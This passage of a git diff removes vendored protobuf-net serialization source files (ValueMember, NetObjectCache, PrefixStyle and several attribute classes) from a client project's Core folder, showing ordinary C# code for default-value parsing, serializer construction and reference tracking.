- this.parentType = parentType; - if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber"); -//#if WINRT - if (defaultValue != null && model.MapType(defaultValue.GetType()) != memberType) -//#else -// if (defaultValue != null && !memberType.IsInstanceOfType(defaultValue)) -//#endif - { - defaultValue = ParseDefaultValue(memberType, defaultValue); - } - this.defaultValue = defaultValue; - - MetaType type = model.FindWithoutAdd(memberType); - if (type != null) - { - this.asReference = type.AsReferenceDefault; - } - else - { - // we need to scan the hard way; can't risk recursion by fully walking it - this.asReference = MetaType.GetAsReferenceDefault(model, memberType); - } - } - - /// - /// Creates a new ValueMember instance - /// - internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, - DataFormat dataFormat) - { - if (memberType == null) throw new ArgumentNullException("memberType"); - if (model == null) throw new ArgumentNullException("model"); - this.fieldNumber = fieldNumber; - this.memberType = memberType; - this.itemType = itemType; - this.defaultType = defaultType; - - this.model = model; - this.dataFormat = dataFormat; - } - - internal object GetRawEnumValue() - { -#if WINRT || PORTABLE || CF || FX11 - object value = ((FieldInfo)member).GetValue(null); - switch(Helpers.GetTypeCode(Enum.GetUnderlyingType(((FieldInfo)member).FieldType))) - { - case ProtoTypeCode.SByte: return (sbyte)value; - case ProtoTypeCode.Byte: return (byte)value; - case ProtoTypeCode.Int16: return (short)value; - case ProtoTypeCode.UInt16: return (ushort)value; - case ProtoTypeCode.Int32: return (int)value; - case ProtoTypeCode.UInt32: return (uint)value; - case ProtoTypeCode.Int64: return (long)value; - case ProtoTypeCode.UInt64: return (ulong)value; - default: - throw new InvalidOperationException(); - } -#else - return ((FieldInfo) member).GetRawConstantValue(); -#endif - } - - private static object ParseDefaultValue(Type type, object value) - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - if (value is string) - { - string s = (string) value; - if (Helpers.IsEnum(type)) return Helpers.ParseEnum(type, s); - - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - return bool.Parse(s); - case ProtoTypeCode.Byte: - return byte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture); - case ProtoTypeCode.Char: // char.Parse missing on CF/phone7 - if (s.Length == 1) return s[0]; - throw new FormatException("Single character expected: \"" + s + "\""); - case ProtoTypeCode.DateTime: - return DateTime.Parse(s, CultureInfo.InvariantCulture); - case ProtoTypeCode.Decimal: - return decimal.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Double: - return double.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int16: - return short.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int32: - return int.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int64: - return long.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.SByte: - return sbyte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture); - case ProtoTypeCode.Single: - return float.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.String: - return s; - case ProtoTypeCode.UInt16: - return ushort.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.UInt32: - return uint.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.UInt64: - return ulong.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.TimeSpan: - return TimeSpan.Parse(s); - case ProtoTypeCode.Uri: - return s; // Uri is decorated as string - case ProtoTypeCode.Guid: - return new Guid(s); - } - } -#if FEAT_IKVM - if (Helpers.IsEnum(type)) return value; // return the underlying type instead - System.Type convertType = null; - switch(Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.SByte: convertType = typeof(sbyte); break; - case ProtoTypeCode.Int16: convertType = typeof(short); break; - case ProtoTypeCode.Int32: convertType = typeof(int); break; - case ProtoTypeCode.Int64: convertType = typeof(long); break; - case ProtoTypeCode.Byte: convertType = typeof(byte); break; - case ProtoTypeCode.UInt16: convertType = typeof(ushort); break; - case ProtoTypeCode.UInt32: convertType = typeof(uint); break; - case ProtoTypeCode.UInt64: convertType = typeof(ulong); break; - case ProtoTypeCode.Single: convertType = typeof(float); break; - case ProtoTypeCode.Double: convertType = typeof(double); break; - case ProtoTypeCode.Decimal: convertType = typeof(decimal); break; - } - if(convertType != null) return Convert.ChangeType(value, convertType, CultureInfo.InvariantCulture); - throw new ArgumentException("Unable to process default value: " + value + ", " + type.FullName); -#else - if (Helpers.IsEnum(type)) return Enum.ToObject(type, value); - return Convert.ChangeType(value, type, CultureInfo.InvariantCulture); -#endif - } - - private IProtoSerializer serializer; - - internal IProtoSerializer Serializer - { - get - { - if (serializer == null) serializer = BuildSerializer(); - return serializer; - } - } - - private DataFormat dataFormat; - - /// - /// Specifies the rules used to process the field; this is used to determine the most appropriate - /// wite-type, but also to describe subtypes within that wire-type (such as SignedVariant) - /// - public DataFormat DataFormat - { - get { return dataFormat; } - set - { - ThrowIfFrozen(); - this.dataFormat = value; - } - } - - /// - /// Indicates whether this field should follow strict encoding rules; this means (for example) that if a "fixed32" - /// is encountered when "variant" is defined, then it will fail (throw an exception) when parsing. Note that - /// when serializing the defined type is always used. - /// - public bool IsStrict - { - get { return HasFlag(OPTIONS_IsStrict); } - set { SetFlag(OPTIONS_IsStrict, value, true); } - } - - /// - /// Indicates whether this field should use packed encoding (which can save lots of space for repeated primitive values). - /// This option only applies to list/array data of primitive types (int, double, etc). - /// - public bool IsPacked - { - get { return HasFlag(OPTIONS_IsPacked); } - set { SetFlag(OPTIONS_IsPacked, value, true); } - } - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - public bool OverwriteList - { - get { return HasFlag(OPTIONS_OverwriteList); } - set { SetFlag(OPTIONS_OverwriteList, value, true); } - } - - /// - /// Indicates whether this field is mandatory. - /// - public bool IsRequired - { - get { return HasFlag(OPTIONS_IsRequired); } - set { SetFlag(OPTIONS_IsRequired, value, true); } - } - - private bool asReference; - - /// - /// Enables full object-tracking/full-graph support. - /// - public bool AsReference - { - get { return asReference; } - set - { - ThrowIfFrozen(); - asReference = value; - } - } - - private bool dynamicType; - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - public bool DynamicType - { - get { return dynamicType; } - set - { - ThrowIfFrozen(); - dynamicType = value; - } - } - - private MethodInfo getSpecified, setSpecified; - - /// - /// Specifies methods for working with optional data members. - /// - /// Provides a method (null for none) to query whether this member should - /// be serialized; it must be of the form "bool {Method}()". The member is only serialized if the - /// method returns true. - /// Provides a method (null for none) to indicate that a member was - /// deserialized; it must be of the form "void {Method}(bool)", and will be called with "true" - /// when data is found. - public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified) - { - if (getSpecified != null) - { - if (getSpecified.ReturnType != model.MapType(typeof (bool)) - || getSpecified.IsStatic - || getSpecified.GetParameters().Length != 0) - { - throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified"); - } - } - if (setSpecified != null) - { - ParameterInfo[] args; - if (setSpecified.ReturnType != model.MapType(typeof (void)) - || setSpecified.IsStatic - || (args = setSpecified.GetParameters()).Length != 1 - || args[0].ParameterType != model.MapType(typeof (bool))) - { - throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified"); - } - } - ThrowIfFrozen(); - this.getSpecified = getSpecified; - this.setSpecified = setSpecified; - } - - private void ThrowIfFrozen() - { - if (serializer != null) - throw new InvalidOperationException("The type cannot be changed once a serializer has been generated"); - } - - private IProtoSerializer BuildSerializer() - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); // check nobody is still adding this type - WireType wireType; - Type finalType = itemType == null ? memberType : itemType; - IProtoSerializer ser = TryGetCoreSerializer(model, dataFormat, finalType, out wireType, asReference, - dynamicType, OverwriteList, true); - if (ser == null) - { - throw new InvalidOperationException("No serializer defined for type: " + finalType.FullName); - } - - // apply tags - if (itemType != null && SupportNull) - { - if (IsPacked) - { - throw new NotSupportedException("Packed encodings cannot support null values"); - } - ser = new TagDecorator(NullDecorator.Tag, wireType, IsStrict, ser); - ser = new NullDecorator(model, ser); - ser = new TagDecorator(fieldNumber, WireType.StartGroup, false, ser); - } - else - { - ser = new TagDecorator(fieldNumber, wireType, IsStrict, ser); - } - // apply lists if appropriate - if (itemType != null) - { -#if NO_GENERICS - Type underlyingItemType = itemType; -#else - Type underlyingItemType = SupportNull ? itemType : Helpers.GetUnderlyingType(itemType) ?? itemType; -#endif - Helpers.DebugAssert(underlyingItemType == ser.ExpectedType, - "Wrong type in the tail; expected {0}, received {1}", ser.ExpectedType, underlyingItemType); - if (memberType.IsArray) - { - ser = new ArrayDecorator(model, ser, fieldNumber, IsPacked, wireType, memberType, OverwriteList, - SupportNull); - } - else - { - ser = ListDecorator.Create(model, memberType, defaultType, ser, fieldNumber, IsPacked, wireType, - member != null && PropertyDecorator.CanWrite(model, member), OverwriteList, SupportNull); - } - } - else if (defaultValue != null && !IsRequired && getSpecified == null) - { - // note: "ShouldSerialize*" / "*Specified" / etc ^^^^ take precedence over defaultValue, - // as does "IsRequired" - ser = new DefaultValueDecorator(model, defaultValue, ser); - } - if (memberType == model.MapType(typeof (Uri))) - { - ser = new UriDecorator(model, ser); - } - if (member != null) - { - PropertyInfo prop = member as PropertyInfo; - if (prop != null) - { - ser = new PropertyDecorator(model, parentType, (PropertyInfo) member, ser); - } - else - { - FieldInfo fld = member as FieldInfo; - if (fld != null) - { - ser = new FieldDecorator(parentType, (FieldInfo) member, ser); - } - else - { - throw new InvalidOperationException(); - } - } - if (getSpecified != null || setSpecified != null) - { - ser = new MemberSpecifiedDecorator(getSpecified, setSpecified, ser); - } - } - return ser; - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - private static WireType GetIntWireType(DataFormat format, int width) - { - switch (format) - { - case DataFormat.ZigZag: - return WireType.SignedVariant; - case DataFormat.FixedSize: - return width == 32 ? WireType.Fixed32 : WireType.Fixed64; - case DataFormat.TwosComplement: - case DataFormat.Default: - return WireType.Variant; - default: - throw new InvalidOperationException(); - } - } - - private static WireType GetDateTimeWireType(DataFormat format) - { - switch (format) - { - case DataFormat.Group: - return WireType.StartGroup; - case DataFormat.FixedSize: - return WireType.Fixed64; - case DataFormat.Default: - return WireType.String; - default: - throw new InvalidOperationException(); - } - } - - internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, - out WireType defaultWireType, - bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes) - { -#if !NO_GENERICS - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - } -#endif - if (Helpers.IsEnum(type)) - { - if (allowComplexTypes && model != null) - { - // need to do this before checking the typecode; an int enum will report Int32 etc - defaultWireType = WireType.Variant; - return new EnumSerializer(type, model.GetEnumMap(type)); - } - else - { - // enum is fine for adding as a meta-type - defaultWireType = WireType.None; - return null; - } - } - ProtoTypeCode code = Helpers.GetTypeCode(type); - switch (code) - { - case ProtoTypeCode.Int32: - defaultWireType = GetIntWireType(dataFormat, 32); - return new Int32Serializer(model); - case ProtoTypeCode.UInt32: - defaultWireType = GetIntWireType(dataFormat, 32); - return new UInt32Serializer(model); - case ProtoTypeCode.Int64: - defaultWireType = GetIntWireType(dataFormat, 64); - return new Int64Serializer(model); - case ProtoTypeCode.UInt64: - defaultWireType = GetIntWireType(dataFormat, 64); - return new UInt64Serializer(model); - case ProtoTypeCode.String: - defaultWireType = WireType.String; - if (asReference) - { - return new NetObjectSerializer(model, model.MapType(typeof (string)), 0, - BclHelpers.NetObjectOptions.AsReference); - } - return new StringSerializer(model); - case ProtoTypeCode.Single: - defaultWireType = WireType.Fixed32; - return new SingleSerializer(model); - case ProtoTypeCode.Double: - defaultWireType = WireType.Fixed64; - return new DoubleSerializer(model); - case ProtoTypeCode.Boolean: - defaultWireType = WireType.Variant; - return new BooleanSerializer(model); - case ProtoTypeCode.DateTime: - defaultWireType = GetDateTimeWireType(dataFormat); - return new DateTimeSerializer(model); - case ProtoTypeCode.Decimal: - defaultWireType = WireType.String; - return new DecimalSerializer(model); - case ProtoTypeCode.Byte: - defaultWireType = GetIntWireType(dataFormat, 32); - return new ByteSerializer(model); - case ProtoTypeCode.SByte: - defaultWireType = GetIntWireType(dataFormat, 32); - return new SByteSerializer(model); - case ProtoTypeCode.Char: - defaultWireType = WireType.Variant; - return new CharSerializer(model); - case ProtoTypeCode.Int16: - defaultWireType = GetIntWireType(dataFormat, 32); - return new Int16Serializer(model); - case ProtoTypeCode.UInt16: - defaultWireType = GetIntWireType(dataFormat, 32); - return new UInt16Serializer(model); - case ProtoTypeCode.TimeSpan: - defaultWireType = GetDateTimeWireType(dataFormat); - return new TimeSpanSerializer(model); - case ProtoTypeCode.Guid: - defaultWireType = WireType.String; - return new GuidSerializer(model); - case ProtoTypeCode.Uri: - defaultWireType = WireType.String; - return new StringSerializer(model); // treat as string; wrapped in decorator later - case ProtoTypeCode.ByteArray: - defaultWireType = WireType.String; - return new BlobSerializer(model, overwriteList); - case ProtoTypeCode.Type: - defaultWireType = WireType.String; - return new SystemTypeSerializer(model); - } - IProtoSerializer parseable = model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null; - if (parseable != null) - { - defaultWireType = WireType.String; - return parseable; - } - if (allowComplexTypes && model != null) - { - int key = model.GetKey(type, false, true); - if (asReference || dynamicType) - { - defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String; - BclHelpers.NetObjectOptions options = BclHelpers.NetObjectOptions.None; - if (asReference) options |= BclHelpers.NetObjectOptions.AsReference; - if (dynamicType) options |= BclHelpers.NetObjectOptions.DynamicType; - if (key >= 0) - { - // exists - if (asReference && Helpers.IsValueType(type)) - { - string message = "AsReference cannot be used with value-types"; - - if (type.Name == "KeyValuePair`2") - { - message += "; please see http://stackoverflow.com/q/14436606/"; - } - else - { - message += ": " + type.FullName; - } - throw new InvalidOperationException(message); - } - MetaType meta = model[type]; - if (asReference && meta.IsAutoTuple) options |= BclHelpers.NetObjectOptions.LateSet; - if (meta.UseConstructor) options |= BclHelpers.NetObjectOptions.UseConstructor; - } - return new NetObjectSerializer(model, type, key, options); - } - if (key >= 0) - { - defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String; - return new SubItemSerializer(type, key, model[type], true); - } - } - defaultWireType = WireType.None; - return null; - } - - - private string name; - - internal void SetName(string name) - { - ThrowIfFrozen(); - this.name = name; - } - - /// - /// Gets the logical name for this member in the schema (this is not critical for binary serialization, but may be used - /// when inferring a schema). - /// - public string Name - { - get { return Helpers.IsNullOrEmpty(name) ? member.Name : name; } - } - - private const byte - OPTIONS_IsStrict = 1, - OPTIONS_IsPacked = 2, - OPTIONS_IsRequired = 4, - OPTIONS_OverwriteList = 8, - OPTIONS_SupportNull = 16; - - private byte flags; - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value, bool throwIfFrozen) - { - if (throwIfFrozen && HasFlag(flag) != value) - { - ThrowIfFrozen(); - } - if (value) - flags |= flag; - else - flags = (byte) (flags & ~flag); - } - - /// - /// Should lists have extended support for null values? Note this makes the serialization less efficient. - /// - public bool SupportNull - { - get { return HasFlag(OPTIONS_SupportNull); } - set { SetFlag(OPTIONS_SupportNull, value, true); } - } - - internal string GetSchemaTypeName(bool applyNetObjectProxy, ref bool requiresBclImport) - { - Type effectiveType = ItemType; - if (effectiveType == null) effectiveType = MemberType; - return model.GetSchemaTypeName(effectiveType, DataFormat, applyNetObjectProxy && asReference, - applyNetObjectProxy && dynamicType, ref requiresBclImport); - } - - - internal sealed class Comparer : System.Collections.IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as ValueMember, y as ValueMember); - } - - public int Compare(ValueMember x, ValueMember y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - - return x.FieldNumber.CompareTo(y.FieldNumber); - } - } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/NetObjectCache.cs b/Client/Core/ProtoBuf/NetObjectCache.cs deleted file mode 100644 index 192b1743..00000000 --- a/Client/Core/ProtoBuf/NetObjectCache.cs +++ /dev/null @@ -1,255 +0,0 @@ -using System; -using System.Collections; -using ProtoBuf.Meta; - -namespace ProtoBuf -{ - internal sealed class NetObjectCache - { - internal const int Root = 0; - private MutableList underlyingList; - - private MutableList List - { - get - { - if (underlyingList == null) underlyingList = new MutableList(); - return underlyingList; - } - } - - - internal object GetKeyedObject(int key) - { - if (key-- == Root) - { - if (rootObject == null) throw new ProtoException("No root object assigned"); - return rootObject; - } - BasicList list = List; - - if (key < 0 || key >= list.Count) - { - Helpers.DebugWriteLine("Missing key: " + key); - throw new ProtoException("Internal error; a missing key occurred"); - } - - object tmp = list[key]; - if (tmp == null) - { - throw new ProtoException("A deferred key does not have a value yet"); - } - return tmp; - } - - internal void SetKeyedObject(int key, object value) - { - if (key-- == Root) - { - if (value == null) throw new ArgumentNullException("value"); - if (rootObject != null && ((object) rootObject != (object) value)) - throw new ProtoException("The root object cannot be reassigned"); - rootObject = value; - } - else - { - MutableList list = List; - if (key < list.Count) - { - object oldVal = list[key]; - if (oldVal == null) - { - list[key] = value; - } - else if (!ReferenceEquals(oldVal, value)) - { - throw new ProtoException("Reference-tracked objects cannot change reference"); - } // otherwise was the same; nothing to do - } - else if (key != list.Add(value)) - { - throw new ProtoException("Internal error; a key mismatch occurred"); - } - } - } - - private object rootObject; - - internal int AddObjectKey(object value, out bool existing) - { - if (value == null) throw new ArgumentNullException("value"); - - if ((object) value == (object) rootObject) // (object) here is no-op, but should be - { - // preserved even if this was typed - needs ref-check - existing = true; - return Root; - } - - string s = value as string; - BasicList list = List; - int index; - -#if NO_GENERICS - - if(s == null) - { - if (objectKeys == null) - { - objectKeys = new ReferenceHashtable(); - index = -1; - } - else - { - object tmp = objectKeys[value]; - index = tmp == null ? -1 : (int) tmp; - } - } - else - { - if (stringKeys == null) - { - stringKeys = new Hashtable(); - index = -1; - } - else - { - object tmp = stringKeys[s]; - index = tmp == null ? -1 : (int) tmp; - } - } -#else - - if (s == null) - { -#if CF || PORTABLE // CF has very limited proper object ref-tracking; so instead, we'll search it the hard way - index = list.IndexOfReference(value); -#else - if (objectKeys == null) - { - objectKeys = new System.Collections.Generic.Dictionary(ReferenceComparer.Default); - index = -1; - } - else - { - if (!objectKeys.TryGetValue(value, out index)) index = -1; - } -#endif - } - else - { - if (stringKeys == null) - { - stringKeys = new System.Collections.Generic.Dictionary(); - index = -1; - } - else - { - if (!stringKeys.TryGetValue(s, out index)) index = -1; - } - } -#endif - - if (!(existing = index >= 0)) - { - index = list.Add(value); - - if (s == null) - { -#if !CF && !PORTABLE // CF can't handle the object keys very well - objectKeys.Add(value, index); -#endif - } - else - { - stringKeys.Add(s, index); - } - } - return index + 1; - } - - private int trapStartIndex; // defaults to 0 - optimization for RegisterTrappedObject - // to make it faster at seeking to find deferred-objects - - internal void RegisterTrappedObject(object value) - { - if (rootObject == null) - { - rootObject = value; - } - else - { - if (underlyingList != null) - { - for (int i = trapStartIndex; i < underlyingList.Count; i++) - { - trapStartIndex = i + 1; // things never *become* null; whether or - // not the next item is null, it will never - // need to be checked again - - if (underlyingList[i] == null) - { - underlyingList[i] = value; - break; - } - } - } - } - } - -#if NO_GENERICS - private ReferenceHashtable objectKeys; - private System.Collections.Hashtable stringKeys; - private class ReferenceHashtable : System.Collections.Hashtable - { - protected override int GetHash(object key) - { - return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(key); - } - protected override bool KeyEquals(object item, object key) - { - return item == key; - } - } -#else - - private System.Collections.Generic.Dictionary stringKeys; - -#if !CF && !PORTABLE - // CF lacks the ability to get a robust reference-based hash-code, so we'll do it the harder way instead - private System.Collections.Generic.Dictionary objectKeys; - - private sealed class ReferenceComparer : System.Collections.Generic.IEqualityComparer - { - public static readonly ReferenceComparer Default = new ReferenceComparer(); - - private ReferenceComparer() - { - } - - bool System.Collections.Generic.IEqualityComparer.Equals(object x, object y) - { - return x == y; // ref equality - } - - int System.Collections.Generic.IEqualityComparer.GetHashCode(object obj) - { - return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(obj); - } - } -#endif - -#endif - - internal void Clear() - { - trapStartIndex = 0; - rootObject = null; - if (underlyingList != null) underlyingList.Clear(); - if (stringKeys != null) stringKeys.Clear(); -#if !CF && !PORTABLE - if (objectKeys != null) objectKeys.Clear(); -#endif - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/PrefixStyle.cs b/Client/Core/ProtoBuf/PrefixStyle.cs deleted file mode 100644 index 56899e74..00000000 --- a/Client/Core/ProtoBuf/PrefixStyle.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Specifies the type of prefix that should be applied to messages. - /// - public enum PrefixStyle - { - /// - /// No length prefix is applied to the data; the data is terminated only be the end of the stream. - /// - None, - - /// - /// A base-128 length prefix is applied to the data (efficient for short messages). - /// - Base128, - - /// - /// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility). - /// - Fixed32, - - /// - /// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility). - /// - Fixed32BigEndian - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoContractAttribute.cs b/Client/Core/ProtoBuf/ProtoContractAttribute.cs deleted file mode 100644 index 80b09ed8..00000000 --- a/Client/Core/ProtoBuf/ProtoContractAttribute.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a type is defined for protocol-buffer serialization. - /// - [AttributeUsage( - AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface, - AllowMultiple = false, Inherited = false)] - public sealed class ProtoContractAttribute : Attribute - { - /// - /// Gets or sets the defined name of the type. - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - - /// - /// Gets or sets the fist offset to use with implicit field tags; - /// only uesd if ImplicitFields is set. - /// - public int ImplicitFirstTag - { - get { return implicitFirstTag; } - set - { - if (value < 1) throw new ArgumentOutOfRangeException("ImplicitFirstTag"); - implicitFirstTag = value; - } - } - - private int implicitFirstTag; - - /// - /// If specified, alternative contract markers (such as markers for XmlSerailizer or DataContractSerializer) are ignored. - /// - public bool UseProtoMembersOnly - { - get { return HasFlag(OPTIONS_UseProtoMembersOnly); } - set { SetFlag(OPTIONS_UseProtoMembersOnly, value); } - } - - /// - /// If specified, do NOT treat this type as a list, even if it looks like one. - /// - public bool IgnoreListHandling - { - get { return HasFlag(OPTIONS_IgnoreListHandling); } - set { SetFlag(OPTIONS_IgnoreListHandling, value); } - } - - - /// - /// Gets or sets the mechanism used to automatically infer field tags - /// for members. This option should be used in advanced scenarios only. - /// Please review the important notes against the ImplicitFields enumeration. - /// - public ImplicitFields ImplicitFields - { - get { return implicitFields; } - set { implicitFields = value; } - } - - private ImplicitFields implicitFields; - - - /// - /// Enables/disables automatic tag generation based on the existing name / order - /// of the defined members. This option is not used for members marked - /// with ProtoMemberAttribute, as intended to provide compatibility with - /// WCF serialization. WARNING: when adding new fields you must take - /// care to increase the Order for new elements, otherwise data corruption - /// may occur. - /// - /// If not explicitly specified, the default is assumed from Serializer.GlobalOptions.InferTagFromName. - public bool InferTagFromName - { - get { return HasFlag(OPTIONS_InferTagFromName); } - set - { - SetFlag(OPTIONS_InferTagFromName, value); - SetFlag(OPTIONS_InferTagFromNameHasValue, true); - } - } - - /// - /// Has a InferTagFromName value been explicitly set? if not, the default from the type-model is assumed. - /// - internal bool InferTagFromNameHasValue - { - // note that this property is accessed via reflection and should not be removed - get { return HasFlag(OPTIONS_InferTagFromNameHasValue); } - } - - private int dataMemberOffset; - - /// - /// Specifies an offset to apply to [DataMember(Order=...)] markers; - /// this is useful when working with mex-generated classes that have - /// a different origin (usually 1 vs 0) than the original data-contract. - /// - /// This value is added to the Order of each member. - /// - public int DataMemberOffset - { - get { return dataMemberOffset; } - set { dataMemberOffset = value; } - } - - - /// - /// If true, the constructor for the type is bypassed during deserialization, meaning any field initializers - /// or other initialization code is skipped. - /// - public bool SkipConstructor - { - get { return HasFlag(OPTIONS_SkipConstructor); } - set { SetFlag(OPTIONS_SkipConstructor, value); } - } - - /// - /// Should this type be treated as a reference by default? Please also see the implications of this, - /// as recorded on ProtoMemberAttribute.AsReference - /// - public bool AsReferenceDefault - { - get { return HasFlag(OPTIONS_AsReferenceDefault); } - set { SetFlag(OPTIONS_AsReferenceDefault, value); } - } - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value) - { - if (value) flags |= flag; - else flags = (byte) (flags & ~flag); - } - - private byte flags; - - private const byte - OPTIONS_InferTagFromName = 1, - OPTIONS_InferTagFromNameHasValue = 2, - OPTIONS_UseProtoMembersOnly = 4, - OPTIONS_SkipConstructor = 8, - OPTIONS_IgnoreListHandling = 16, - OPTIONS_AsReferenceDefault = 32, - OPTIONS_EnumPassthru = 64, - OPTIONS_EnumPassthruHasValue = 128; - - /// - /// Applies only to enums (not to DTO classes themselves); gets or sets a value indicating that an enum should be treated directly as an int/short/etc, rather - /// than enforcing .proto enum rules. This is useful *in particul* for [Flags] enums. - /// - public bool EnumPassthru - { - get { return HasFlag(OPTIONS_EnumPassthru); } - set - { - SetFlag(OPTIONS_EnumPassthru, value); - SetFlag(OPTIONS_EnumPassthruHasValue, true); - } - } - - /// - /// Has a EnumPassthru value been explicitly set? - /// - internal bool EnumPassthruHasValue - { - // note that this property is accessed via reflection and should not be removed - get { return HasFlag(OPTIONS_EnumPassthruHasValue); } - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoConverterAttribute.cs b/Client/Core/ProtoBuf/ProtoConverterAttribute.cs deleted file mode 100644 index dde09cd1..00000000 --- a/Client/Core/ProtoBuf/ProtoConverterAttribute.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a static member should be considered the same as though - /// were an implicit / explicit conversion operator; in particular, this - /// is useful for conversions that operator syntax does not allow, such as - /// to/from interface types. - /// - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = true)] - public class ProtoConverterAttribute : Attribute - { - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoEnumAttribute.cs b/Client/Core/ProtoBuf/ProtoEnumAttribute.cs deleted file mode 100644 index 2f07beca..00000000 --- a/Client/Core/ProtoBuf/ProtoEnumAttribute.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Used to define protocol-buffer specific behavior for - /// enumerated values. - /// - [AttributeUsage(AttributeTargets.Field, AllowMultiple = false)] - public sealed class ProtoEnumAttribute : Attribute - { - /// - /// Gets or sets the specific value to use for this enum during serialization. - /// - public int Value - { - get { return enumValue; } - set - { - this.enumValue = value; - hasValue = true; - } - } - - /// - /// Indicates whether this instance has a customised value mapping - /// - /// true if a specific value is set - public bool HasValue() - { - return hasValue; - } - - private bool hasValue; - private int enumValue; - - /// - /// Gets or sets the defined name of the enum, as used in .proto - /// (this name is not used during serialization). - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoException.cs b/Client/Core/ProtoBuf/ProtoException.cs deleted file mode 100644 index 2a35b9a2..00000000 --- a/Client/Core/ProtoBuf/ProtoException.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) -using System.Runtime.Serialization; -#endif - -namespace ProtoBuf -{ - /// - /// Indicates an error during serialization/deserialization of a proto stream. - /// -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - [Serializable] -#endif - public class ProtoException : Exception - { - /// Creates a new ProtoException instance. - public ProtoException() - { - } - - /// Creates a new ProtoException instance. - public ProtoException(string message) : base(message) - { - } - - /// Creates a new ProtoException instance. - public ProtoException(string message, Exception innerException) : base(message, innerException) - { - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// Creates a new ProtoException instance. - protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { } -#endif - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs b/Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs deleted file mode 100644 index 338a1f43..00000000 --- a/Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a member should be excluded from serialization; this - /// is only normally used when using implict fields. - /// - [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, - AllowMultiple = false, Inherited = true)] - public class ProtoIgnoreAttribute : Attribute - { - } - - /// - /// Indicates that a member should be excluded from serialization; this - /// is only normally used when using implict fields. This allows - /// ProtoIgnoreAttribute usage - /// even for partial classes where the individual members are not - /// under direct control. - /// - [AttributeUsage(AttributeTargets.Class, - AllowMultiple = true, Inherited = false)] - public sealed class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute - { - /// - /// Creates a new ProtoPartialIgnoreAttribute instance. - /// - /// Specifies the member to be ignored. - public ProtoPartialIgnoreAttribute(string memberName) - : base() - { - if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); - this.memberName = memberName; - } - - /// - /// The name of the member to be 